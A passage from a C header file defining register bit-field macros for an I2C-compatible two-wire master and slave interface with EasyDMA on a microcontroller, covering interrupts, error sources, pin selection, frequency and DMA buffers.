#define TWIM_INTEN_SUSPENDED_Pos (18UL) /*!< Position of SUSPENDED field. */
#define TWIM_INTEN_SUSPENDED_Msk (0x1UL << TWIM_INTEN_SUSPENDED_Pos) /*!< Bit mask of SUSPENDED field. */
#define TWIM_INTEN_SUSPENDED_Disabled (0UL) /*!< Disable */
#define TWIM_INTEN_SUSPENDED_Enabled (1UL) /*!< Enable */
/* Bit 9 : Enable or disable interrupt for ERROR event */
#define TWIM_INTEN_ERROR_Pos (9UL) /*!< Position of ERROR field. */
#define TWIM_INTEN_ERROR_Msk (0x1UL << TWIM_INTEN_ERROR_Pos) /*!< Bit mask of ERROR field. */
#define TWIM_INTEN_ERROR_Disabled (0UL) /*!< Disable */
#define TWIM_INTEN_ERROR_Enabled (1UL) /*!< Enable */
/* Bit 1 : Enable or disable interrupt for STOPPED event */
#define TWIM_INTEN_STOPPED_Pos (1UL) /*!< Position of STOPPED field. */
#define TWIM_INTEN_STOPPED_Msk (0x1UL << TWIM_INTEN_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define TWIM_INTEN_STOPPED_Disabled (0UL) /*!< Disable */
#define TWIM_INTEN_STOPPED_Enabled (1UL) /*!< Enable */
/* Register: TWIM_INTENSET */
/* Description: Enable interrupt */
/* Bit 24 : Write '1' to Enable interrupt for LASTTX event */
#define TWIM_INTENSET_LASTTX_Pos (24UL) /*!< Position of LASTTX field. */
#define TWIM_INTENSET_LASTTX_Msk (0x1UL << TWIM_INTENSET_LASTTX_Pos) /*!< Bit mask of LASTTX field. */
#define TWIM_INTENSET_LASTTX_Disabled (0UL) /*!< Read: Disabled */
#define TWIM_INTENSET_LASTTX_Enabled (1UL) /*!< Read: Enabled */
#define TWIM_INTENSET_LASTTX_Set (1UL) /*!< Enable */
/* Bit 23 : Write '1' to Enable interrupt for LASTRX event */
#define TWIM_INTENSET_LASTRX_Pos (23UL) /*!< Position of LASTRX field. */
#define TWIM_INTENSET_LASTRX_Msk (0x1UL << TWIM_INTENSET_LASTRX_Pos) /*!< Bit mask of LASTRX field. */
#define TWIM_INTENSET_LASTRX_Disabled (0UL) /*!< Read: Disabled */
#define TWIM_INTENSET_LASTRX_Enabled (1UL) /*!< Read: Enabled */
#define TWIM_INTENSET_LASTRX_Set (1UL) /*!< Enable */
/* Bit 20 : Write '1' to Enable interrupt for TXSTARTED event */
#define TWIM_INTENSET_TXSTARTED_Pos (20UL) /*!< Position of TXSTARTED field. */
#define TWIM_INTENSET_TXSTARTED_Msk (0x1UL << TWIM_INTENSET_TXSTARTED_Pos) /*!< Bit mask of TXSTARTED field. */
#define TWIM_INTENSET_TXSTARTED_Disabled (0UL) /*!< Read: Disabled */
#define TWIM_INTENSET_TXSTARTED_Enabled (1UL) /*!< Read: Enabled */
#define TWIM_INTENSET_TXSTARTED_Set (1UL) /*!< Enable */
/* Bit 19 : Write '1' to Enable interrupt for RXSTARTED event */
#define TWIM_INTENSET_RXSTARTED_Pos (19UL) /*!< Position of RXSTARTED field. */
#define TWIM_INTENSET_RXSTARTED_Msk (0x1UL << TWIM_INTENSET_RXSTARTED_Pos) /*!< Bit mask of RXSTARTED field. */
#define TWIM_INTENSET_RXSTARTED_Disabled (0UL) /*!< Read: Disabled */
#define TWIM_INTENSET_RXSTARTED_Enabled (1UL) /*!< Read: Enabled */
#define TWIM_INTENSET_RXSTARTED_Set (1UL) /*!< Enable */
/* Bit 18 : Write '1' to Enable interrupt for SUSPENDED event */
#define TWIM_INTENSET_SUSPENDED_Pos (18UL) /*!< Position of SUSPENDED field. */
#define TWIM_INTENSET_SUSPENDED_Msk (0x1UL << TWIM_INTENSET_SUSPENDED_Pos) /*!< Bit mask of SUSPENDED field. */
#define TWIM_INTENSET_SUSPENDED_Disabled (0UL) /*!< Read: Disabled */
#define TWIM_INTENSET_SUSPENDED_Enabled (1UL) /*!< Read: Enabled */
#define TWIM_INTENSET_SUSPENDED_Set (1UL) /*!< Enable */
/* Bit 9 : Write '1' to Enable interrupt for ERROR event */
#define TWIM_INTENSET_ERROR_Pos (9UL) /*!< Position of ERROR field. */
#define TWIM_INTENSET_ERROR_Msk (0x1UL << TWIM_INTENSET_ERROR_Pos) /*!< Bit mask of ERROR field. */
#define TWIM_INTENSET_ERROR_Disabled (0UL) /*!< Read: Disabled */
#define TWIM_INTENSET_ERROR_Enabled (1UL) /*!< Read: Enabled */
#define TWIM_INTENSET_ERROR_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable interrupt for STOPPED event */
#define TWIM_INTENSET_STOPPED_Pos (1UL) /*!< Position of STOPPED field. */
#define TWIM_INTENSET_STOPPED_Msk (0x1UL << TWIM_INTENSET_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define TWIM_INTENSET_STOPPED_Disabled (0UL) /*!< Read: Disabled */
#define TWIM_INTENSET_STOPPED_Enabled (1UL) /*!< Read: Enabled */
#define TWIM_INTENSET_STOPPED_Set (1UL) /*!< Enable */
/* Register: TWIM_INTENCLR */
/* Description: Disable interrupt */
/* Bit 24 : Write '1' to Disable interrupt for LASTTX event */
#define TWIM_INTENCLR_LASTTX_Pos (24UL) /*!< Position of LASTTX field. */
#define TWIM_INTENCLR_LASTTX_Msk (0x1UL << TWIM_INTENCLR_LASTTX_Pos) /*!< Bit mask of LASTTX field. */
#define TWIM_INTENCLR_LASTTX_Disabled (0UL) /*!< Read: Disabled */
#define TWIM_INTENCLR_LASTTX_Enabled (1UL) /*!< Read: Enabled */
#define TWIM_INTENCLR_LASTTX_Clear (1UL) /*!< Disable */
/* Bit 23 : Write '1' to Disable interrupt for LASTRX event */
#define TWIM_INTENCLR_LASTRX_Pos (23UL) /*!< Position of LASTRX field. */
#define TWIM_INTENCLR_LASTRX_Msk (0x1UL << TWIM_INTENCLR_LASTRX_Pos) /*!< Bit mask of LASTRX field. */
#define TWIM_INTENCLR_LASTRX_Disabled (0UL) /*!< Read: Disabled */
#define TWIM_INTENCLR_LASTRX_Enabled (1UL) /*!< Read: Enabled */
#define TWIM_INTENCLR_LASTRX_Clear (1UL) /*!< Disable */
/* Bit 20 : Write '1' to Disable interrupt for TXSTARTED event */
#define TWIM_INTENCLR_TXSTARTED_Pos (20UL) /*!< Position of TXSTARTED field. */
#define TWIM_INTENCLR_TXSTARTED_Msk (0x1UL << TWIM_INTENCLR_TXSTARTED_Pos) /*!< Bit mask of TXSTARTED field. */
#define TWIM_INTENCLR_TXSTARTED_Disabled (0UL) /*!< Read: Disabled */
#define TWIM_INTENCLR_TXSTARTED_Enabled (1UL) /*!< Read: Enabled */
#define TWIM_INTENCLR_TXSTARTED_Clear (1UL) /*!< Disable */
/* Bit 19 : Write '1' to Disable interrupt for RXSTARTED event */
#define TWIM_INTENCLR_RXSTARTED_Pos (19UL) /*!< Position of RXSTARTED field. */
#define TWIM_INTENCLR_RXSTARTED_Msk (0x1UL << TWIM_INTENCLR_RXSTARTED_Pos) /*!< Bit mask of RXSTARTED field. */
#define TWIM_INTENCLR_RXSTARTED_Disabled (0UL) /*!< Read: Disabled */
#define TWIM_INTENCLR_RXSTARTED_Enabled (1UL) /*!< Read: Enabled */
#define TWIM_INTENCLR_RXSTARTED_Clear (1UL) /*!< Disable */
/* Bit 18 : Write '1' to Disable interrupt for SUSPENDED event */
#define TWIM_INTENCLR_SUSPENDED_Pos (18UL) /*!< Position of SUSPENDED field. */
#define TWIM_INTENCLR_SUSPENDED_Msk (0x1UL << TWIM_INTENCLR_SUSPENDED_Pos) /*!< Bit mask of SUSPENDED field. */
#define TWIM_INTENCLR_SUSPENDED_Disabled (0UL) /*!< Read: Disabled */
#define TWIM_INTENCLR_SUSPENDED_Enabled (1UL) /*!< Read: Enabled */
#define TWIM_INTENCLR_SUSPENDED_Clear (1UL) /*!< Disable */
/* Bit 9 : Write '1' to Disable interrupt for ERROR event */
#define TWIM_INTENCLR_ERROR_Pos (9UL) /*!< Position of ERROR field. */
#define TWIM_INTENCLR_ERROR_Msk (0x1UL << TWIM_INTENCLR_ERROR_Pos) /*!< Bit mask of ERROR field. */
#define TWIM_INTENCLR_ERROR_Disabled (0UL) /*!< Read: Disabled */
#define TWIM_INTENCLR_ERROR_Enabled (1UL) /*!< Read: Enabled */
#define TWIM_INTENCLR_ERROR_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable interrupt for STOPPED event */
#define TWIM_INTENCLR_STOPPED_Pos (1UL) /*!< Position of STOPPED field. */
#define TWIM_INTENCLR_STOPPED_Msk (0x1UL << TWIM_INTENCLR_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define TWIM_INTENCLR_STOPPED_Disabled (0UL) /*!< Read: Disabled */
#define TWIM_INTENCLR_STOPPED_Enabled (1UL) /*!< Read: Enabled */
#define TWIM_INTENCLR_STOPPED_Clear (1UL) /*!< Disable */
/* Register: TWIM_ERRORSRC */
/* Description: Error source */
/* Bit 2 : NACK received after sending a data byte (write '1' to clear) */
#define TWIM_ERRORSRC_DNACK_Pos (2UL) /*!< Position of DNACK field. */
#define TWIM_ERRORSRC_DNACK_Msk (0x1UL << TWIM_ERRORSRC_DNACK_Pos) /*!< Bit mask of DNACK field. */
#define TWIM_ERRORSRC_DNACK_NotReceived (0UL) /*!< Error did not occur */
#define TWIM_ERRORSRC_DNACK_Received (1UL) /*!< Error occurred */
/* Bit 1 : NACK received after sending the address (write '1' to clear) */
#define TWIM_ERRORSRC_ANACK_Pos (1UL) /*!< Position of ANACK field. */
#define TWIM_ERRORSRC_ANACK_Msk (0x1UL << TWIM_ERRORSRC_ANACK_Pos) /*!< Bit mask of ANACK field. */
#define TWIM_ERRORSRC_ANACK_NotReceived (0UL) /*!< Error did not occur */
#define TWIM_ERRORSRC_ANACK_Received (1UL) /*!< Error occurred */
/* Register: TWIM_ENABLE */
/* Description: Enable TWIM */
/* Bits 3..0 : Enable or disable TWIM */
#define TWIM_ENABLE_ENABLE_Pos (0UL) /*!< Position of ENABLE field. */
#define TWIM_ENABLE_ENABLE_Msk (0xFUL << TWIM_ENABLE_ENABLE_Pos) /*!< Bit mask of ENABLE field. */
#define TWIM_ENABLE_ENABLE_Disabled (0UL) /*!< Disable TWIM */
#define TWIM_ENABLE_ENABLE_Enabled (6UL) /*!< Enable TWIM */
/* Register: TWIM_PSEL_SCL */
/* Description: Pin select for SCL signal */
/* Bit 31 : Connection */
#define TWIM_PSEL_SCL_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define TWIM_PSEL_SCL_CONNECT_Msk (0x1UL << TWIM_PSEL_SCL_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define TWIM_PSEL_SCL_CONNECT_Connected (0UL) /*!< Connect */
#define TWIM_PSEL_SCL_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define TWIM_PSEL_SCL_PIN_Pos (0UL) /*!< Position of PIN field. */
#define TWIM_PSEL_SCL_PIN_Msk (0x1FUL << TWIM_PSEL_SCL_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: TWIM_PSEL_SDA */
/* Description: Pin select for SDA signal */
/* Bit 31 : Connection */
#define TWIM_PSEL_SDA_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define TWIM_PSEL_SDA_CONNECT_Msk (0x1UL << TWIM_PSEL_SDA_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define TWIM_PSEL_SDA_CONNECT_Connected (0UL) /*!< Connect */
#define TWIM_PSEL_SDA_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define TWIM_PSEL_SDA_PIN_Pos (0UL) /*!< Position of PIN field. */
#define TWIM_PSEL_SDA_PIN_Msk (0x1FUL << TWIM_PSEL_SDA_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: TWIM_FREQUENCY */
/* Description: TWI frequency */
/* Bits 31..0 : TWI master clock frequency */
#define TWIM_FREQUENCY_FREQUENCY_Pos (0UL) /*!< Position of FREQUENCY field. */
#define TWIM_FREQUENCY_FREQUENCY_Msk (0xFFFFFFFFUL << TWIM_FREQUENCY_FREQUENCY_Pos) /*!< Bit mask of FREQUENCY field. */
#define TWIM_FREQUENCY_FREQUENCY_K100 (0x01980000UL) /*!< 100 kbps */
#define TWIM_FREQUENCY_FREQUENCY_K250 (0x04000000UL) /*!< 250 kbps */
#define TWIM_FREQUENCY_FREQUENCY_K400 (0x06400000UL) /*!< 400 kbps */
/* Register: TWIM_RXD_PTR */
/* Description: Data pointer */
/* Bits 31..0 : Data pointer */
#define TWIM_RXD_PTR_PTR_Pos (0UL) /*!< Position of PTR field. */
#define TWIM_RXD_PTR_PTR_Msk (0xFFFFFFFFUL << TWIM_RXD_PTR_PTR_Pos) /*!< Bit mask of PTR field. */
/* Register: TWIM_RXD_MAXCNT */
/* Description: Maximum number of bytes in receive buffer */
/* Bits 7..0 : Maximum number of bytes in receive buffer */
#define TWIM_RXD_MAXCNT_MAXCNT_Pos (0UL) /*!< Position of MAXCNT field. */
#define TWIM_RXD_MAXCNT_MAXCNT_Msk (0xFFUL << TWIM_RXD_MAXCNT_MAXCNT_Pos) /*!< Bit mask of MAXCNT field. */
/* Register: TWIM_RXD_AMOUNT */
/* Description: Number of bytes transferred in the last transaction */
/* Bits 7..0 : Number of bytes transferred in the last transaction. In case of NACK error, includes the NACK'ed byte. */
#define TWIM_RXD_AMOUNT_AMOUNT_Pos (0UL) /*!< Position of AMOUNT field. */
#define TWIM_RXD_AMOUNT_AMOUNT_Msk (0xFFUL << TWIM_RXD_AMOUNT_AMOUNT_Pos) /*!< Bit mask of AMOUNT field. */
/* Register: TWIM_RXD_LIST */
/* Description: EasyDMA list type */
/* Bits 2..0 : List type */
#define TWIM_RXD_LIST_LIST_Pos (0UL) /*!< Position of LIST field. */
#define TWIM_RXD_LIST_LIST_Msk (0x7UL << TWIM_RXD_LIST_LIST_Pos) /*!< Bit mask of LIST field. */
#define TWIM_RXD_LIST_LIST_Disabled (0UL) /*!< Disable EasyDMA list */
#define TWIM_RXD_LIST_LIST_ArrayList (1UL) /*!< Use array list */
/* Register: TWIM_TXD_PTR */
/* Description: Data pointer */
/* Bits 31..0 : Data pointer */
#define TWIM_TXD_PTR_PTR_Pos (0UL) /*!< Position of PTR field. */
#define TWIM_TXD_PTR_PTR_Msk (0xFFFFFFFFUL << TWIM_TXD_PTR_PTR_Pos) /*!< Bit mask of PTR field. */
/* Register: TWIM_TXD_MAXCNT */
/* Description: Maximum number of bytes in transmit buffer */
/* Bits 7..0 : Maximum number of bytes in transmit buffer */
#define TWIM_TXD_MAXCNT_MAXCNT_Pos (0UL) /*!< Position of MAXCNT field. */
#define TWIM_TXD_MAXCNT_MAXCNT_Msk (0xFFUL << TWIM_TXD_MAXCNT_MAXCNT_Pos) /*!< Bit mask of MAXCNT field. */
/* Register: TWIM_TXD_AMOUNT */
/* Description: Number of bytes transferred in the last transaction */
/* Bits 7..0 : Number of bytes transferred in the last transaction. In case of NACK error, includes the NACK'ed byte. */
#define TWIM_TXD_AMOUNT_AMOUNT_Pos (0UL) /*!< Position of AMOUNT field. */
#define TWIM_TXD_AMOUNT_AMOUNT_Msk (0xFFUL << TWIM_TXD_AMOUNT_AMOUNT_Pos) /*!< Bit mask of AMOUNT field. */
/* Register: TWIM_TXD_LIST */
/* Description: EasyDMA list type */
/* Bits 2..0 : List type */
#define TWIM_TXD_LIST_LIST_Pos (0UL) /*!< Position of LIST field. */
#define TWIM_TXD_LIST_LIST_Msk (0x7UL << TWIM_TXD_LIST_LIST_Pos) /*!< Bit mask of LIST field. */
#define TWIM_TXD_LIST_LIST_Disabled (0UL) /*!< Disable EasyDMA list */
#define TWIM_TXD_LIST_LIST_ArrayList (1UL) /*!< Use array list */
/* Register: TWIM_ADDRESS */
/* Description: Address used in the TWI transfer */
/* Bits 6..0 : Address used in the TWI transfer */
#define TWIM_ADDRESS_ADDRESS_Pos (0UL) /*!< Position of ADDRESS field. */
#define TWIM_ADDRESS_ADDRESS_Msk (0x7FUL << TWIM_ADDRESS_ADDRESS_Pos) /*!< Bit mask of ADDRESS field. */
/* Peripheral: TWIS */
/* Description: I2C compatible Two-Wire Slave Interface with EasyDMA 0 */
/* Register: TWIS_SHORTS */
/* Description: Shortcut register */
/* Bit 14 : Shortcut between READ event and SUSPEND task */
#define TWIS_SHORTS_READ_SUSPEND_Pos (14UL) /*!< Position of READ_SUSPEND field. */
#define TWIS_SHORTS_READ_SUSPEND_Msk (0x1UL << TWIS_SHORTS_READ_SUSPEND_Pos) /*!< Bit mask of READ_SUSPEND field. */
#define TWIS_SHORTS_READ_SUSPEND_Disabled (0UL) /*!< Disable shortcut */
#define TWIS_SHORTS_READ_SUSPEND_Enabled (1UL) /*!< Enable shortcut */
/* Bit 13 : Shortcut between WRITE event and SUSPEND task */
#define TWIS_SHORTS_WRITE_SUSPEND_Pos (13UL) /*!< Position of WRITE_SUSPEND field. */
#define TWIS_SHORTS_WRITE_SUSPEND_Msk (0x1UL << TWIS_SHORTS_WRITE_SUSPEND_Pos) /*!< Bit mask of WRITE_SUSPEND field. */
#define TWIS_SHORTS_WRITE_SUSPEND_Disabled (0UL) /*!< Disable shortcut */
#define TWIS_SHORTS_WRITE_SUSPEND_Enabled (1UL) /*!< Enable shortcut */
/* Register: TWIS_INTEN */
/* Description: Enable or disable interrupt */
/* Bit 26 : Enable or disable interrupt for READ event */
#define TWIS_INTEN_READ_Pos (26UL) /*!< Position of READ field. */
#define TWIS_INTEN_READ_Msk (0x1UL << TWIS_INTEN_READ_Pos) /*!< Bit mask of READ field. */
#define TWIS_INTEN_READ_Disabled (0UL) /*!< Disable */
#define TWIS_INTEN_READ_Enabled (1UL) /*!< Enable */
/* Bit 25 : Enable or disable interrupt for WRITE event */
#define TWIS_INTEN_WRITE_Pos (25UL) /*!< Position of WRITE field. */
#define TWIS_INTEN_WRITE_Msk (0x1UL << TWIS_INTEN_WRITE_Pos) /*!< Bit mask of WRITE field. */
#define TWIS_INTEN_WRITE_Disabled (0UL) /*!< Disable */
#define TWIS_INTEN_WRITE_Enabled (1UL) /*!< Enable */
/* Bit 20 : Enable or disable interrupt for TXSTARTED event */
#define TWIS_INTEN_TXSTARTED_Pos (20UL) /*!< Position of TXSTARTED field. */
#define TWIS_INTEN_TXSTARTED_Msk (0x1UL << TWIS_INTEN_TXSTARTED_Pos) /*!< Bit mask of TXSTARTED field. */
#define TWIS_INTEN_TXSTARTED_Disabled (0UL) /*!< Disable */
#define TWIS_INTEN_TXSTARTED_Enabled (1UL) /*!< Enable */
/* Bit 19 : Enable or disable interrupt for RXSTARTED event */
#define TWIS_INTEN_RXSTARTED_Pos (19UL) /*!< Position of RXSTARTED field. */
#define TWIS_INTEN_RXSTARTED_Msk (0x1UL << TWIS_INTEN_RXSTARTED_Pos) /*!< Bit mask of RXSTARTED field. */
#define TWIS_INTEN_RXSTARTED_Disabled (0UL) /*!< Disable */
#define TWIS_INTEN_RXSTARTED_Enabled (1UL) /*!< Enable */
/* Bit 9 : Enable or disable interrupt for ERROR event */
#define TWIS_INTEN_ERROR_Pos (9UL) /*!< Position of ERROR field. */
#define TWIS_INTEN_ERROR_Msk (0x1UL << TWIS_INTEN_ERROR_Pos) /*!< Bit mask of ERROR field. */
#define TWIS_INTEN_ERROR_Disabled (0UL) /*!< Disable */
#define TWIS_INTEN_ERROR_Enabled (1UL) /*!< Enable */
/* Bit 1 : Enable or disable interrupt for STOPPED event */
#define TWIS_INTEN_STOPPED_Pos (1UL) /*!< Position of STOPPED field. */
#define TWIS_INTEN_STOPPED_Msk (0x1UL << TWIS_INTEN_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define TWIS_INTEN_STOPPED_Disabled (0UL) /*!< Disable */
#define TWIS_INTEN_STOPPED_Enabled (1UL) /*!< Enable */
/* Register: TWIS_INTENSET */
/* Description: Enable interrupt */
/* Bit 26 : Write '1' to Enable interrupt for READ event */
#define TWIS_INTENSET_READ_Pos (26UL) /*!< Position of READ field. */
#define TWIS_INTENSET_READ_Msk (0x1UL << TWIS_INTENSET_READ_Pos) /*!< Bit mask of READ field. */
#define TWIS_INTENSET_READ_Disabled (0UL) /*!< Read: Disabled */
#define TWIS_INTENSET_READ_Enabled (1UL) /*!< Read: Enabled */
#define TWIS_INTENSET_READ_Set (1UL) /*!< Enable */
/* Bit 25 : Write '1' to Enable interrupt for WRITE event */
#define TWIS_INTENSET_WRITE_Pos (25UL) /*!< Position of WRITE field. */
#define TWIS_INTENSET_WRITE_Msk (0x1UL << TWIS_INTENSET_WRITE_Pos) /*!< Bit mask of WRITE field. */
#define TWIS_INTENSET_WRITE_Disabled (0UL) /*!< Read: Disabled */
#define TWIS_INTENSET_WRITE_Enabled (1UL) /*!< Read: Enabled */
#define TWIS_INTENSET_WRITE_Set (1UL) /*!< Enable */
/* Bit 20 : Write '1' to Enable interrupt for TXSTARTED event */
#define TWIS_INTENSET_TXSTARTED_Pos (20UL) /*!< Position of TXSTARTED field. */
#define TWIS_INTENSET_TXSTARTED_Msk (0x1UL << TWIS_INTENSET_TXSTARTED_Pos) /*!< Bit mask of TXSTARTED field. */
#define TWIS_INTENSET_TXSTARTED_Disabled (0UL) /*!< Read: Disabled */
#define TWIS_INTENSET_TXSTARTED_Enabled (1UL) /*!< Read: Enabled */
#define TWIS_INTENSET_TXSTARTED_Set (1UL) /*!< Enable */
/* Bit 19 : Write '1' to Enable interrupt for RXSTARTED event */
#define TWIS_INTENSET_RXSTARTED_Pos (19UL) /*!< Position of RXSTARTED field. */
#define TWIS_INTENSET_RXSTARTED_Msk (0x1UL << TWIS_INTENSET_RXSTARTED_Pos) /*!< Bit mask of RXSTARTED field. */
#define TWIS_INTENSET_RXSTARTED_Disabled (0UL) /*!< Read: Disabled */
#define TWIS_INTENSET_RXSTARTED_Enabled (1UL) /*!< Read: Enabled */
#define TWIS_INTENSET_RXSTARTED_Set (1UL) /*!< Enable */
/* Bit 9 : Write '1' to Enable interrupt for ERROR event */
#define TWIS_INTENSET_ERROR_Pos (9UL) /*!< Position of ERROR field. */
#define TWIS_INTENSET_ERROR_Msk (0x1UL << TWIS_INTENSET_ERROR_Pos) /*!< Bit mask of ERROR field. */
#define TWIS_INTENSET_ERROR_Disabled (0UL) /*!< Read: Disabled */
#define TWIS_INTENSET_ERROR_Enabled (1UL) /*!< Read: Enabled */
#define TWIS_INTENSET_ERROR_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable interrupt for STOPPED event */
#define TWIS_INTENSET_STOPPED_Pos (1UL) /*!< Position of STOPPED field. */
#define TWIS_INTENSET_STOPPED_Msk (0x1UL << TWIS_INTENSET_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define TWIS_INTENSET_STOPPED_Disabled (0UL) /*!< Read: Disabled */
#define TWIS_INTENSET_STOPPED_Enabled (1UL) /*!< Read: Enabled */
#define TWIS_INTENSET_STOPPED_Set (1UL) /*!< Enable */
/* Register: TWIS_INTENCLR */
/* Description: Disable interrupt */
/* Bit 26 : Write '1' to Disable interrupt for READ event */
#define TWIS_INTENCLR_READ_Pos (26UL) /*!< Position of READ field. */
#define TWIS_INTENCLR_READ_Msk (0x1UL << TWIS_INTENCLR_READ_Pos) /*!< Bit mask of READ field. */
#define TWIS_INTENCLR_READ_Disabled (0UL) /*!< Read: Disabled */
#define TWIS_INTENCLR_READ_Enabled (1UL) /*!< Read: Enabled */
#define TWIS_INTENCLR_READ_Clear (1UL) /*!< Disable */
/* Bit 25 : Write '1' to Disable interrupt for WRITE event */
#define TWIS_INTENCLR_WRITE_Pos (25UL) /*!< Position of WRITE field. */
#define TWIS_INTENCLR_WRITE_Msk (0x1UL << TWIS_INTENCLR_WRITE_Pos) /*!< Bit mask of WRITE field. */
#define TWIS_INTENCLR_WRITE_Disabled (0UL) /*!< Read: Disabled */
#define TWIS_INTENCLR_WRITE_Enabled (1UL) /*!< Read: Enabled */
#define TWIS_INTENCLR_WRITE_Clear (1UL) /*!< Disable */
/* Bit 20 : Write '1' to Disable interrupt for TXSTARTED event */
#define TWIS_INTENCLR_TXSTARTED_Pos (20UL) /*!< Position of TXSTARTED field. */
#define TWIS_INTENCLR_TXSTARTED_Msk (0x1UL << TWIS_INTENCLR_TXSTARTED_Pos) /*!< Bit mask of TXSTARTED field. */
#define TWIS_INTENCLR_TXSTARTED_Disabled (0UL) /*!< Read: Disabled */
#define TWIS_INTENCLR_TXSTARTED_Enabled (1UL) /*!< Read: Enabled */
#define TWIS_INTENCLR_TXSTARTED_Clear (1UL) /*!< Disable */
/* Bit 19 : Write '1' to Disable interrupt for RXSTARTED event */
#define TWIS_INTENCLR_RXSTARTED_Pos (19UL) /*!< Position of RXSTARTED field. */
#define TWIS_INTENCLR_RXSTARTED_Msk (0x1UL << TWIS_INTENCLR_RXSTARTED_Pos) /*!< Bit mask of RXSTARTED field. */
#define TWIS_INTENCLR_RXSTARTED_Disabled (0UL) /*!< Read: Disabled */
#define TWIS_INTENCLR_RXSTARTED_Enabled (1UL) /*!< Read: Enabled */
#define TWIS_INTENCLR_RXSTARTED_Clear (1UL) /*!< Disable */
/* Bit 9 : Write '1' to Disable interrupt for ERROR event */
#define TWIS_INTENCLR_ERROR_Pos (9UL) /*!< Position of ERROR field. */
#define TWIS_INTENCLR_ERROR_Msk (0x1UL << TWIS_INTENCLR_ERROR_Pos) /*!< Bit mask of ERROR field. */
#define TWIS_INTENCLR_ERROR_Disabled (0UL) /*!< Read: Disabled */
#define TWIS_INTENCLR_ERROR_Enabled (1UL) /*!< Read: Enabled */
#define TWIS_INTENCLR_ERROR_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable interrupt for STOPPED event */
#define TWIS_INTENCLR_STOPPED_Pos (1UL) /*!< Position of STOPPED field. */
#define TWIS_INTENCLR_STOPPED_Msk (0x1UL << TWIS_INTENCLR_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define TWIS_INTENCLR_STOPPED_Disabled (0UL) /*!< Read: Disabled */
#define TWIS_INTENCLR_STOPPED_Enabled (1UL) /*!< Read: Enabled */
#define TWIS_INTENCLR_STOPPED_Clear (1UL) /*!< Disable */
/* Register: TWIS_ERRORSRC */
/* Description: Error source */
/* Bit 3 : TX buffer over-read detected, and prevented */
#define TWIS_ERRORSRC_OVERREAD_Pos (3UL) /*!< Position of OVERREAD field. */
#define TWIS_ERRORSRC_OVERREAD_Msk (0x1UL << TWIS_ERRORSRC_OVERREAD_Pos) /*!< Bit mask of OVERREAD field. */
#define TWIS_ERRORSRC_OVERREAD_NotDetected (0UL) /*!< Error did not occur */
#define TWIS_ERRORSRC_OVERREAD_Detected (1UL) /*!< Error occurred */
/* Bit 2 : NACK sent after receiving a data byte */
#define TWIS_ERRORSRC_DNACK_Pos (2UL) /*!< Position of DNACK field. */
#define TWIS_ERRORSRC_DNACK_Msk (0x1UL << TWIS_ERRORSRC_DNACK_Pos) /*!< Bit mask of DNACK field. */
#define TWIS_ERRORSRC_DNACK_NotReceived (0UL) /*!< Error did not occur */
#define TWIS_ERRORSRC_DNACK_Received (1UL) /*!< Error occurred */
/* Bit 0 : RX buffer overflow detected, and prevented */
#define TWIS_ERRORSRC_OVERFLOW_Pos (0UL) /*!< Position of OVERFLOW field. */
#define TWIS_ERRORSRC_OVERFLOW_Msk (0x1UL << TWIS_ERRORSRC_OVERFLOW_Pos) /*!< Bit mask of OVERFLOW field. */
#define TWIS_ERRORSRC_OVERFLOW_NotDetected (0UL) /*!< Error did not occur */
#define TWIS_ERRORSRC_OVERFLOW_Detected (1UL) /*!< Error occurred */
/* Register: TWIS_MATCH */
/* Description: Status register indicating which address had a match */
/* Bit 0 : Which of the addresses in {ADDRESS} matched the incoming address */
#define TWIS_MATCH_MATCH_Pos (0UL) /*!< Position of MATCH field. */
#define TWIS_MATCH_MATCH_Msk (0x1UL << TWIS_MATCH_MATCH_Pos) /*!< Bit mask of MATCH field. */
/* Register: TWIS_ENABLE */
/* Description: Enable TWIS */
/* Bits 3..0 : Enable or disable TWIS */
#define TWIS_ENABLE_ENABLE_Pos (0UL) /*!< Position of ENABLE field. */
#define TWIS_ENABLE_ENABLE_Msk (0xFUL << TWIS_ENABLE_ENABLE_Pos) /*!< Bit mask of ENABLE field. */
#define TWIS_ENABLE_ENABLE_Disabled (0UL) /*!< Disable TWIS */
#define TWIS_ENABLE_ENABLE_Enabled (9UL) /*!< Enable TWIS */
/* Register: TWIS_PSEL_SCL */
/* Description: Pin select for SCL signal */
/* Bit 31 : Connection */
#define TWIS_PSEL_SCL_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define TWIS_PSEL_SCL_CONNECT_Msk (0x1UL << TWIS_PSEL_SCL_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define TWIS_PSEL_SCL_CONNECT_Connected (0UL) /*!< Connect */
#define TWIS_PSEL_SCL_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define TWIS_PSEL_SCL_PIN_Pos (0UL) /*!< Position of PIN field. */
#define TWIS_PSEL_SCL_PIN_Msk (0x1FUL << TWIS_PSEL_SCL_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: TWIS_PSEL_SDA */
/* Description: Pin select for SDA signal */
/* Bit 31 : Connection */
#define TWIS_PSEL_SDA_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define TWIS_PSEL_SDA_CONNECT_Msk (0x1UL << TWIS_PSEL_SDA_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define TWIS_PSEL_SDA_CONNECT_Connected (0UL) /*!< Connect */
#define TWIS_PSEL_SDA_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
